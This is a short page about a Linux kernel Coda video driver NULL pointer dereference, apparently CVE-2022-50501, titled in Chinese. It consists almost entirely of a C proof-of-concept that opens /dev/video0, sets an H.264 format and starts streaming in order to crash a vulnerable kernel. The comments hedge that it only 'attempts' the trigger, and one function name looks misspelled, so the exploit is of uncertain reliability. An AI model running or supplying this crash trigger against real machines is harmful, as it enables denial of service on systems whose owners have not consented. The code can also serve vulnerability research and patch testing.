CVE-2022-50501 Linux内核Coda驱动空指针解引用漏洞

/* CVE-2022-50501 PoC - Trigger NULL pointer dereference in coda driver */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/videodev2.h> /* * This PoC attempts to trigger the NULL pointer dereference in the * Linux kernel coda driver by opening the video device and initiating * a decoding operation that requires IRAM allocation. * * The vulnerability exists when dcoda_iram_alloc() returns NULL * and the return value is not checked before use. */ int main(int argc, char *argv[]) { int fd; struct v4l2_format fmt; /* Open the CODA video device */ fd = open("/dev/video0", O_RDWR); if (fd < 0) { perror("Failed to open video device"); return -1; } /* Set format to trigger IRAM allocation path */ fmt.type = V4L2_BUF_TYPE_VIDEO_OUTPUT; fmt.fmt.pix.width = 1920; fmt.fmt.pix.height = 1080; fmt.fmt.pix.pixelformat = V4L2_PIX_FMT_H264; if (ioctl(fd, VIDIOC_S_FMT, &fmt) < 0) { perror("Failed to set format"); close(fd); return -1; } /* Attempt to start streaming to trigger IRAM allocation */ /* In vulnerable kernels, this may trigger NULL pointer dereference */ enum v4l2_buf_type type = V4L2_BUF_TYPE_VIDEO_OUTPUT; if (ioctl(fd, VIDIOC_STREAMON, &type) < 0) { perror("Failed to start streaming"); } close(fd); return 0; }